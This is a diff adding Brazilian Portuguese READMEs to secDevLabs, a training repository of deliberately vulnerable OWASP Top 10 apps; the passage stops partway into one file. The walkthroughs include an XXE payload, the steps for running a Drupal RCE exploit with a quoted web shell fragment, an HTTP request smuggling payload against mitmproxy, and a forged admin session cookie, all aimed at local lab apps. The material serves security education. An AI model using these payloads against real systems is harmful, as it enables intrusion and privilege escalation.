+O principal objetivo deste aplicativo é discutir como as vulnerabilidades **XXE** podem ser exploradas e incentivar os desenvolvedores a enviar solicitações de pull do secDevLabs sobre como mitigar essas falhas.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a5/vinijr-blog
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost:10004][app] ! 😆
+
+## Conheça o app ⚽️
+
+Para entender corretamente como esse aplicativo funciona, você pode seguir estes passos simples:
+
+- Visite a página inicial!
+- Tente enviar uma mensagem ao ViniJR.
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### 👀
+
+#### Campo de entrada não tratado permite que um invasor recupere informações confidenciais
+
+Após analisar as entradas do aplicativo, é possível identificar que a seção "ENTRE EM CONTATO" permite que os usuários enviem mensagens para o servidor, conforme mostra a figura a seguir:
+
+
+
+Usar o proxy [Burp Suite](https://portswigger.net/burp) para interceptar esta solicitação (POST para contact.php) revela que a mensagem está sendo construída usando um XML (se você precisar de ajuda para configurar seu proxy, você deve verifique este [guia](https://support.portswigger.net/customer/portal/articles/1783066-configuring-firefox-to-work-with-burp)):
+
+
+
+Para replicar este POST usando [curl](https://curl.haxx.se/), crie o seguinte arquivo `payload.xml`:
+
+```XML
+
+
+ RAFAEL
+ RAFAEL@EXAMPLE.com
+ YOU ROCK
+ I LOVE WATCHING YOUR SKILLS, MAN
+
+```
+
+E depois rode
+
+```sh
+curl -d @payload.xml localhost:10004/contact.php ; echo
+```
+
+Verificando o código fonte do [arquivo](../vinijr-blog/app/contact.php), é possível ver como esse XML é carregado no lado do servidor:
+
+
+
+### 🔥
+
+Como nenhuma validação está sendo usada para evitar que [ENTITIES](https://www.w3schools.com/xml/xml_dtd_entities.asp) sejam enviados para o arquivo PHP, um invasor pode criar o seguinte `evilxml.xml` para executar um XXE :
+
+```XML
+
+
+]>
+
+&xxe;
+RAFAEL@EXAMPLE.com
+YOU ROCK
+I LOVE WATCHING YOUR SKILLS, MAN
+
+```
+
+E, como mostra a imagem a seguir, é possível perceber que o ataque é bem-sucedido e as informações confidenciais são recuperadas do servidor que hospeda o aplicativo vulnerável:
+
+```sh
+curl -d @evilxml.xml localhost:10004/contact.php ; echo
+```
+
+
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Extrair dados do servidor através do método mostrado acima.
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3A%22ViniJr+Blog%22)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost:10004
+[secdevlabs]: https://github.com/globocom/secDevLabs
diff --git a/owasp-top10-2021-apps/a6/cimentech/README.md b/owasp-top10-2021-apps/a6/cimentech/README.md
index a888c91c9..53eb50698 100644
--- a/owasp-top10-2021-apps/a6/cimentech/README.md
+++ b/owasp-top10-2021-apps/a6/cimentech/README.md
@@ -1,19 +1,24 @@
# Cimentech
-
+
+
Cimentech is a simple web application built with Drupal that contains an example of a component with a known vulnerability and its main goal is to demonstrate how an attacker could exploit it.
## Index
-- [Definition](#what-does-it-mean-to-use-a-component-with-known-vulnerabilities)
-- [Setup](#setup)
-- [Attack narrative](#attack-narrative)
-- [Objectives](#secure-this-app)
-- [Solutions](#pr-solutions)
-- [Contributing](#contributing)
+- [Cimentech](#cimentech)
+ - [Index](#index)
+ - [What does it mean to use a component with known vulnerabilities?](#what-does-it-mean-to-use-a-component-with-known-vulnerabilities)
+ - [Setup](#setup)
+ - [Get to know the app 🏗](#get-to-know-the-app-)
+ - [Attack narrative](#attack-narrative)
+ - [Use of a vulnerable Drupal version allows for remote code execution](#use-of-a-vulnerable-drupal-version-allows-for-remote-code-execution)
+ - [Secure this app](#secure-this-app)
+ - [PR solutions](#pr-solutions)
+ - [Contributing](#contributing)
## What does it mean to use a component with known vulnerabilities?
diff --git a/owasp-top10-2021-apps/a6/cimentech/README_PT_BR.md b/owasp-top10-2021-apps/a6/cimentech/README_PT_BR.md
new file mode 100644
index 000000000..bf6e3a2cf
--- /dev/null
+++ b/owasp-top10-2021-apps/a6/cimentech/README_PT_BR.md
@@ -0,0 +1,137 @@
+# Cimentech
+
+
+
+
+
+
+Cimentech é um aplicativo web simples construído com Drupal que contém um exemplo de um componente com uma vulnerabilidade conhecida e seu principal objetivo é demonstrar como um invasor pode explorá-lo.
+
+## Index
+
+- [Cimentech](#cimentech)
+ - [Index](#index)
+ - [O que significa usar componentes desatualizados e vulneráveis?](#o-que-significa-usar-componentes-desatualizados-e-vulneráveis)
+ - [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+ - [Conheça o app 🏗](#conheça-o-app-)
+ - [Narrativa de ataque](#narrativa-de-ataque)
+ - [Proteger este aplicativo](#proteger-este-aplicativo)
+ - [PR Soluções](#pr-soluções)
+ - [Contribuição](#contribuição)
+
+## O que significa usar componentes desatualizados e vulneráveis?
+
+Imagine que componentes, como bibliotecas, frameworks e outros módulos de software, sejam executados com os mesmos privilégios do aplicativo. Se um componente vulnerável for explorado, esse ataque pode facilitar a perda grave de dados ou o controle do servidor. Aplicativos e APIs que usam componentes com vulnerabilidades conhecidas podem prejudicar as defesas de aplicativos e permitir vários ataques e impactos.
+
+O principal objetivo deste aplicativo é discutir como os **componentes desatualizados e vulneráveis** podem ser exploradas e incentivar os desenvolvedores a enviar solicitações de pull do secDevLabs sobre como mitigar essas falhas.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a6/cimentech
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost][app] ! 😆
+
+## Conheça o app 🏗
+
+Para entender corretamente como esse aplicativo funciona, você pode:
+
+- Visitar sua página inicial!
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### 👀
+
+#### O uso de uma versão vulnerável do Drupal permite a execução remota de código
+
+É possível acessar a aplicação web do servidor a partir da porta HTTP padrão 80, como mostra a imagem abaixo:
+
+
+
+Depois, dando uma olhada no arquivo `/robots.txt`, é possível encontrar o arquivo `CHANGELOG.txt` no campo `Disallow`, conforme ilustrado na imagem abaixo:
+
+
+
+Ao ser acessado, pode-se encontrar uma indicação da versão do Sistema de Gerenciamento de Conteúdo (Drupal), conforme mostrado abaixo:
+
+
+
+Tendo a versão do CMS, é possível verificar em [exploit-db][3] se há algum exploit associado a essa versão, neste caso, Drupal 7.57. Os resultados da pesquisa estão descritos na imagem abaixo:
+
+
+
+Ao usar [searchsploit](https://www.exploit-db.com/searchsploit), um invasor também pode encontrar esse mesmo resultado por meio de um terminal. Para instalá-lo, basta digitar o seguinte em seu terminal OSX (lembre-se de que pode acionar seu software antivírus):
+
+```sh
+⚠️ 'O próximo comando irá instalar vários códigos de exploração em seu sistema e muitos deles podem acionar alertas de antivírus'
+
+brew install exploitdb
+```
+
+Em seguida, basta procurar a versão do CMS encontrada:
+
+```sh
+searchsploit drupal 7.
+```
+
+Se você estiver usando OSX, este comando o ajudará a copiar o exploit para sua pasta `/tmp`:
+
+```
+cp /usr/local/opt/exploitdb/share/exploitdb/exploits/php/webapps/44449.rb /tmp
+```
+
+## 🔥
+
+Executando o código Ruby malicioso, temos evidências de que a execução remota de código é possível no servidor web, usando os seguintes comandos conforme mostrado abaixo:
+
+```sh
+ruby /tmp/44449.rb http://localhost
+```
+
+
+
+**NOTA**: Você precisa ter o Ruby instalado em seu sistema para executar o exploit, para informações sobre como instalá-lo, clique [aqui][1]!
+
+**NOTA 2**: Se você encontrar um erro de execução ao tentar executar o exploit, consulte este [Problema][4] para obter informações sobre como proceder.
+
+A exploração funciona adicionando ao servidor um `s.php` malicioso, que permite a execução remota de código através do seguinte conteúdo malicioso:
+
+```php
+&1' ); }
+```
+
+Usando o "fake shell" do exploit, podemos digitar um comando, como `whoami`, para verificar se realmente temos um RCE no servidor, conforme mostra a imagem:
+
+
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Execute o código remotamente através do exploit acima
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3ACimentech)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost:80
+[secdevlabs]: https://github.com/globocom/secDevLabs
+[1]: https://www.ruby-lang.org/en/documentation/installation/
+[2]: https://github.com/globocom/secDevLabs/tree/master/owasp-top10-2021-apps/a6/Cimentech
+[3]: https://www.exploit-db.com/
+[4]: https://github.com/globocom/secDevLabs/issues/212
diff --git a/owasp-top10-2021-apps/a6/golden-hat/README.md b/owasp-top10-2021-apps/a6/golden-hat/README.md
index 4b66e20c9..9b6ba6e75 100644
--- a/owasp-top10-2021-apps/a6/golden-hat/README.md
+++ b/owasp-top10-2021-apps/a6/golden-hat/README.md
@@ -2,7 +2,8 @@
# Golden hat society
-
+
+
Golden hat society is an application made with python that has a reverse proxy, mitmproxy, blocking the route `/golden.secret` that must be accessed only by whom is inside the docker VPN.
diff --git a/owasp-top10-2021-apps/a6/golden-hat/README_PT_BR.md b/owasp-top10-2021-apps/a6/golden-hat/README_PT_BR.md
new file mode 100644
index 000000000..bcbe55805
--- /dev/null
+++ b/owasp-top10-2021-apps/a6/golden-hat/README_PT_BR.md
@@ -0,0 +1,130 @@
+
+# Golden hat society
+
+
+
+
+
+
+Golden hat society é uma aplicação feita com python que possui um proxy reverso, mitmproxy, bloqueando a rota `/golden.secret` que deve ser acessada apenas por quem está dentro da VPN docker.
+
+## Index
+
+- [Golden hat society](#golden-hat-society)
+ - [Index](#index)
+ - [O que significa usar componentes desatualizados e vulneráveis?](#o-que-significa-usar-componentes-desatualizados-e-vulneráveis)
+ - [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+ - [Conheça o app ⚜️](#conheça-o-app--️)
+ - [Narrativa de ataque](#narrativa-de-ataque)
+ - [Proteger este aplicativo](#proteger-este-aplicativo)
+ - [PR Soluções](#pr-soluções)
+ - [Contribuição](#contribuição)
+
+## O que significa usar componentes desatualizados e vulneráveis?
+
+Essa vulnerabilidade foi a 9º no top dez OWASP de 2017 e chegou ao 6º em 2021. Normalmente, softwares que contêm conexões de entrada são executados por usuários exclusivos com permissões restritas. O motivo é que, se alguém explorar o aplicativo, esse invasor não poderá fazer muito por causa dessas permissões.
+
+À medida que os softwares ficam cada vez maiores, devemos usar algumas bibliotecas em algum momento, isso significa que essas bibliotecas também devem ser seguras. O ponto principal desta vulnerabilidade é usar uma lib, framework e outros módulos vulneráveis a uma vulnerabilidade já conhecida (conhecida por avisos).
+
+O principal objetivo deste aplicativo é discutir como os **componentes desatualizados e vulneráveis** podem ser exploradas e incentivar os desenvolvedores a enviar solicitações de pull do secDevLabs sobre como mitigar essas falhas.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a6/golden-hat
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost:10006][app] ! :ghost:
+
+## Conheça o app ⚜️
+
+Para entender corretamente como esse aplicativo funciona, você pode:
+
+- Visitar sua página inicial!
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### 👀
+
+#### O uso da versão mitmproxy vulnerável permite ataques de dessincronização HTTP
+
+Primeira acesso ao aplicativo:
+
+
+
+
+
+Uma vez que tentamos alcançar o `/golden.secret` podemos ver cabeçalhos interessantes:
+
+
+
+
+
+Como podemos ver este `Via: mitmproxy/5.3.0` nos ajuda com o reconhecimento. Agora que sabemos o que está sendo executado no servidor, podemos procurar CVEs nesta versão do mitmproxy. Assim que encontrarmos o CVE-2021-39214, podemos fazer um exploit para essa vulnerabilidade.
+
+Vamos dar uma olhada no código fonte do mitmproxy, [TAG 5.3.0](https://github.com/mitmproxy/mitmproxy/tree/v5.3.0) no arquivo [/mitmproxy/net/http/http1/read.py :L209](https://github.com/mitmproxy/mitmproxy/blob/a738b335a36b58f2b30741d76d9fe41866309299/mitmproxy/net/http/http1/read.py#L209):
+
+```python
+if "chunked" in headers.get("transfer-encoding", "").lower():
+ return None
+```
+
+Como podemos ver, este pedaço de código é responsável pela vulnerabilidade. Agora que sabemos que o proxy processa qualquer solicitação como chunked que contenha a palavra-chave chunked, podemos criar uma solicitação que o proxy entenderá como `Transfer-Encoding` chunked e o backend do gunicorn entenderá como `Content-Length`.
+
+Este pedido pode ser enviado em repetidor burp (você deve desabilitar a opção `update content-length`), telnet, netcat ou qualquer tipo de conexão que permita enviar textos através de sockets.
+
+```
+GET /w HTTP/1.1
+Host: 127.0.0.1:10006
+Transfer-Encoding: chunkedasd
+Content-Length: 4
+
+35
+GET /golden.secret HTTP/1.1
+Host: 127.0.0.1:8000
+
+
+0
+
+GET / HTTP/1.1
+Host: 127.0.0.1:10006
+
+
+```
+
+A primeira solicitação força um erro 404. O frontend(proxy) irá analisar a requisição como uma requisição normal com corpo até o 0. O backend irá processar a primeira requisição até 35 e então irá analisar a requisição para `/golden.secret` envenenando o próximo socket. Em seguida, apenas colocamos uma nova solicitação de alinhamento no final para envenenar um soquete que controlamos.
+
+Depois de executar esta carga como uma solicitação, podemos ver a página secreta: 104
+
+
+
+
+
+Essa vulnerabilidade é interessante porque você pode envenenar as solicitações de outros clientes e convencê-los a fazer o que quiser!
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Ignorar regras de proxy.
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Aclosed+is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3A%22Golden+Hat+Society%22)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[secDevLabs]: https://github.com/globocom/secDevLabs
+[app]: http://localhost:10006
diff --git a/owasp-top10-2021-apps/a7/insecure-go-project/README.md b/owasp-top10-2021-apps/a7/insecure-go-project/README.md
index 49c200e69..0e9b42af9 100644
--- a/owasp-top10-2021-apps/a7/insecure-go-project/README.md
+++ b/owasp-top10-2021-apps/a7/insecure-go-project/README.md
@@ -1,19 +1,24 @@
# Insecure Go Project
-
+
+
Insecure Go Project is a simple Golang API that contains an example of an Identity and Authentication Failure vulnerability.
## Index
-- [Definition](#what-is-identity-&-authentication-failure)
-- [Setup](#setup)
-- [Attack narrative](#attack-narrative)
-- [Objectives](#secure-this-app)
-- [Solutions](#pr-solutions)
-- [Contributing](#contributing)
+- [Insecure Go Project](#insecure-go-project)
+ - [Index](#index)
+ - [What is Identity and Authentication Failure?](#what-is-identity-and-authentication-failure)
+ - [Setup](#setup)
+ - [Get to know the app 🐼](#get-to-know-the-app-)
+ - [Attack narrative](#attack-narrative)
+ - [Sensitive hardcoded credentials allow an attacker access to the database](#sensitive-hardcoded-credentials-allow-an-attacker-access-to-the-database)
+ - [Secure this app](#secure-this-app)
+ - [PR solutions](#pr-solutions)
+ - [Contributing](#contributing)
## What is Identity and Authentication Failure?
diff --git a/owasp-top10-2021-apps/a7/insecure-go-project/README_PT_BR.md b/owasp-top10-2021-apps/a7/insecure-go-project/README_PT_BR.md
new file mode 100644
index 000000000..f8e919442
--- /dev/null
+++ b/owasp-top10-2021-apps/a7/insecure-go-project/README_PT_BR.md
@@ -0,0 +1,88 @@
+# Insecure Go Project
+
+
+
+
+
+
+O Insecure Go Project é uma API Golang simples que contém um exemplo de uma vulnerabilidade de falha de identidade e autenticação.
+
+## Index
+
+- [Insecure Go Project](#insecure-go-project)
+ - [Index](#index)
+ - [O que é falha de identidade e autenticação?](#o-que-é-falha-de-identidade-e-autenticação)
+ - [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+ - [Conheça o app ⚽️](#conheça-o-app-️)
+ - [Narrativa de ataque](#narrativa-de-ataque)
+ - [Proteger este aplicativo](#proteger-este-aplicativo)
+ - [PR Soluções](#pr-soluções)
+ - [Contribuição](#contribuição)
+
+## O que é falha de identidade e autenticação?
+
+As funções do aplicativo relacionadas à autenticação e ao gerenciamento de sessão geralmente são implementadas incorretamente, permitindo que invasores comprometam senhas, chaves ou tokens de sessão ou explorem outras falhas de implementação para assumir a identidade de outros usuários temporária ou permanentemente.
+
+O principal objetivo deste aplicativo é discutir como as vulnerabilidades de **falha de identidade e autenticação** podem ser exploradas e incentivar os desenvolvedores a enviar solicitações de pull do secDevLabs sobre como mitigar essas falhas.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a7/insecure-go-project
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost:10002][app] ! 😆
+
+## Conheça o app ⚽️
+
+Para entender corretamente como esse aplicativo funciona, você pode:
+
+- Reserve um momento para ler o código-fonte do aplicativo e ver como ele funciona.
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### 👀
+
+#### Credenciais codificadas confidenciais permitem que um invasor acesse o banco de dados
+
+Após inspecionar o código-fonte do aplicativo, é possível identificar que alguns dados confidenciais do MongoDB estão codificados no [`config.yml`](../app/config.yml), conforme mostrado na figura abaixo:
+
+
+
+Esse problema também pode ser encontrado no arquivo [`mongo-init.js`](../deployments/mongo-init.js), conforme mostrado abaixo:
+
+
+
+### 🔥
+
+Usando essas credenciais para acessar o MongoDB local, foi possível verificar se elas são realmente válidas:
+
+
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Encontre informações confidenciais (como senhas ou nomes de usuário) codificadas.
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3A%22Insecure+Go+project%22)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost:10002
+[dirb]: https://tools.kali.org/web-applications/dirb
+[secdevlabs]: https://github.com/globocom/secDevLabs
diff --git a/owasp-top10-2021-apps/a7/saidajaula-monster/README.md b/owasp-top10-2021-apps/a7/saidajaula-monster/README.md
index 4240f4b48..96e7c5d8b 100644
--- a/owasp-top10-2021-apps/a7/saidajaula-monster/README.md
+++ b/owasp-top10-2021-apps/a7/saidajaula-monster/README.md
@@ -2,18 +2,23 @@
+
Saidajaula Monstro Fit is a Flask API built to demonstrate how a malicious user could exploit an Identity and Authentication Failure vulnerability and escalate his privileges.
## Index
-- [Definition](#what-is-identity-&-authentication-failure?)
-- [Setup](#setup)
-- [Attack narrative](#attack-narrative)
-- [Objectives](#secure-this-app)
-- [Solutions](#pr-solutions)
-- [Contributing](#contributing)
+- [Saidajaula Monster Fit](#saidajaula-monster-fit)
+ - [Index](#index)
+ - [What is Identity and Authentication Failure?](#what-is-identity-and-authentication-failure)
+ - [Setup](#setup)
+ - [Get to know the app 🏋️](#get-to-know-the-app-️)
+ - [Attack narrative](#attack-narrative)
+ - [Insecure session cookie validation allows for privilege escalation](#insecure-session-cookie-validation-allows-for-privilege-escalation)
+ - [Secure this app](#secure-this-app)
+ - [PR solutions](#pr-solutions)
+ - [Contributing](#contributing)
## What is Identity and Authentication Failure?
diff --git a/owasp-top10-2021-apps/a7/saidajaula-monster/README_PT_BR.md b/owasp-top10-2021-apps/a7/saidajaula-monster/README_PT_BR.md
new file mode 100644
index 000000000..021b59e1e
--- /dev/null
+++ b/owasp-top10-2021-apps/a7/saidajaula-monster/README_PT_BR.md
@@ -0,0 +1,149 @@
+# Saidajaula Monster Fit
+
+
+
+
+
+
+Saidajaula Monstro Fit é uma API Flask criada para demonstrar como um usuário mal-intencionado pode explorar uma vulnerabilidade de falha de identidade e autenticação e aumentar seus privilégios.
+
+## Index
+
+- [Saidajaula Monster Fit](#saidajaula-monster-fit)
+ - [Index](#index)
+ - [O que é falha de identidade e autenticação?](#o-que-é-falha-de-identidade-e-autenticação)
+ - [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+ - [Conheça o app 🏋️](#conheça-o-app-️)
+ - [Narrativa de ataque](#narrativa-de-ataque)
+ - [Proteger este aplicativo](#proteger-este-aplicativo)
+ - [PR Soluções](#pr-soluções)
+ - [Contribuição](#contribuição)
+
+## O que é falha de identidade e autenticação?
+
+As funções do aplicativo relacionadas à autenticação e ao gerenciamento de sessão geralmente são implementadas incorretamente, permitindo que invasores comprometam senhas, chaves ou tokens de sessão ou explorem outras falhas de implementação para assumir a identidade de outros usuários temporária ou permanentemente.
+
+O principal objetivo deste aplicativo é discutir como as vulnerabilidades de **falha de identidade e autenticação** podem ser exploradas e incentivar os desenvolvedores a enviar solicitações de pull do secDevLabs sobre como mitigar essas falhas.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a7/saidajaula-monster
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost:10002][app] ! 😆
+
+## Conheça o app 🏋️
+
+Para entender corretamente como esse aplicativo funciona, você pode seguir estes passos simples:
+
+- Visite a página inicial!
+- Tente se registrar como um novo usuário.
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### 👀
+
+#### A validação de cookie de sessão insegura permite o escalonamento de privilégios
+
+É possível acessar a aplicação web do servidor através da porta HTTP 10002, como podemos ver na imagem abaixo:
+
+
+
+
+
+Podemos se inscrever para uma nova conta clicando no botão 'INSCREVA-SE' no canto superior direito. Em seguida, somos redirecionados para a página `/register`. Como mostra a imagem abaixo:
+
+
+
+
+
+Após criar uma conta, somos redirecionados para a página `/login` e, para entender melhor como a aplicação está tratando as requisições, iremos realizar o login utilizando o seguinte comando `curl`. Como mostra a imagem:
+
+```sh
+curl -i -L localhost:10002/login -F "username=daniel" -F "password=daniel" -X POST
+```
+
+
+
+
+
+Como podemos ver na imagem acima, o aplicativo define um cookie para o usuário, `sessionId`. Ao examinar melhor este cookie, descobrimos que ele é codificado em base64 e seu conteúdo é o seguinte:
+
+
+
+
+
+Agora, dando uma olhada no código do aplicativo, é possível ver que todas as informações para gerar este cookie são conhecidas por qualquer usuário, conforme mostra a imagem a seguir:
+
+
+
+
+
+### 🔥
+
+Sabendo como o cookie está sendo gerado, um usuário mal-intencionado pode criar o seu próprio para ter acesso a páginas que ele não deveria ter. Um invasor pode obter privilégios de administrador alterando o campo `permission` do cookie, conforme ilustrado na imagem abaixo:
+
+
+
+
+
+Também é possível gerar este cookie a partir do terminal usando o comando `shasum`:
+
+```sh
+echo -n '{"permissao": 1, "username": "daniel"}' | shasum -a 256
+```
+
+Depois disso, o invasor precisa concatenar os campos do cookie e o hash, separados por um ponto. Como mostra a imagem a seguir:
+
+
+
+
+
+O servidor espera que o cookie esteja no formato base64, portanto, o invasor precisa codificar seu cookie. Como podemos ver na imagem abaixo usando o comando:
+
+```sh
+echo -n '{"permissao": 1, "username": "daniel"}.35771d6998cf216aa3297d1fb54462e04d85443be6092a02961b52b24c2d3250' | base64
+```
+
+
+
+
+
+Agora, tudo o que um invasor precisa fazer é tentar acessar apenas a página `/admin`. Como mostra a imagem abaixo:
+
+```sh
+curl -v --cookie "sessionId=eyJwZXJtaXNzYW8iOiAxLCAidXNlcm5hbWUiOiAiZGFuaWVsIn0uMzU3NzFkNjk5OGNmMjE2YWEzMjk3ZDFmYjU0NDYyZTA0ZDg1NDQzYmU2MDkyYTAyOTYxYjUyYjI0YzJkMzI1MA==" http://localhost:10002/admin
+```
+
+
+
+
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Faça login como administrador ou qualquer outro usuário, em vez de ele mesmo, modificando o cookie de sessão.
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3A%22Saidajaula+Monster+Fit%22)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost:10002
+[dirb]: https://tools.kali.org/web-applications/dirb
+[secdevlabs]: https://github.com/globocom/secDevLabs
diff --git a/owasp-top10-2021-apps/a8/amarelo-designs/README.md b/owasp-top10-2021-apps/a8/amarelo-designs/README.md
index cbacc5052..d3eaffdcb 100644
--- a/owasp-top10-2021-apps/a8/amarelo-designs/README.md
+++ b/owasp-top10-2021-apps/a8/amarelo-designs/README.md
@@ -1,19 +1,24 @@
# Amarelo Designs
- 
+
+
This is a simple web application built with Flask that contains an example of an Software and Data Integrity Failure vulnerability and, its main goal is to describe how a malicious user could exploit a vulnerability, intentionally installed on Amarelo Designs from secDevLabs, to obtain blind remote code execution.
## Index
-- [Definition](#what-is-software-&-data-integrity-failure)
-- [Setup](#setup)
-- [Attack narrative](#attack-narrative)
-- [Objectives](#secure-this-app)
-- [Solutions](#pr-solutions)
-- [Contributing](#contributing)
+- [Amarelo Designs](#amarelo-designs)
+ - [Index](#index)
+ - [What is Software and Data Integrity Failure?](#what-is-software-and-data-integrity-failure)
+ - [Setup](#setup)
+ - [Get to know the app 🎨](#get-to-know-the-app-)
+ - [Attack narrative](#attack-narrative)
+ - [Use of an insecure deserialization function allows for remote code execution](#use-of-an-insecure-deserialization-function-allows-for-remote-code-execution)
+ - [Secure this app](#secure-this-app)
+ - [PR solutions](#pr-solutions)
+ - [Contributing](#contributing)
## What is Software and Data Integrity Failure?
diff --git a/owasp-top10-2021-apps/a8/amarelo-designs/README_PT_BR.md b/owasp-top10-2021-apps/a8/amarelo-designs/README_PT_BR.md
new file mode 100644
index 000000000..0150fb1a3
--- /dev/null
+++ b/owasp-top10-2021-apps/a8/amarelo-designs/README_PT_BR.md
@@ -0,0 +1,179 @@
+# Amarelo Designs
+
+
+
+
+
